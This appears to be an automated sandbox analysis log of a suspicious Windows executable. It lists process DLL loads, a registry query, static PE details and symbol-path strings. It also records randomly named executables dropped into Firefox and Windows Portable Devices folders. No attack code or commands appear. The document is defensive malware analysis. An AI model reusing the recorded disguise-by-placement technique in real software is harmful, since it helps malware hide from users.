Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ktmw32.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: rasman.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: winmm.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: winmmbase.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: mmdevapi.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: devobj.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ksuser.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: avrt.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: audioses.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: powrprof.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: umpdc.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: msacm32.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: midimap.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: dwrite.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: edputil.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: ntmarta.dll
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\ebcca32ff60686	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Directory created: C:\Program Files\Windows Portable Devices\ebcca32ff60686	Jump to behavior

Source: fDTPlvsGfH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: fDTPlvsGfH.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: fDTPlvsGfH.exe

Static file information: File size 2669568 > 1048576

Source: fDTPlvsGfH.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x28b400

Source: fDTPlvsGfH.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \|C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000003796000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000003796000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp
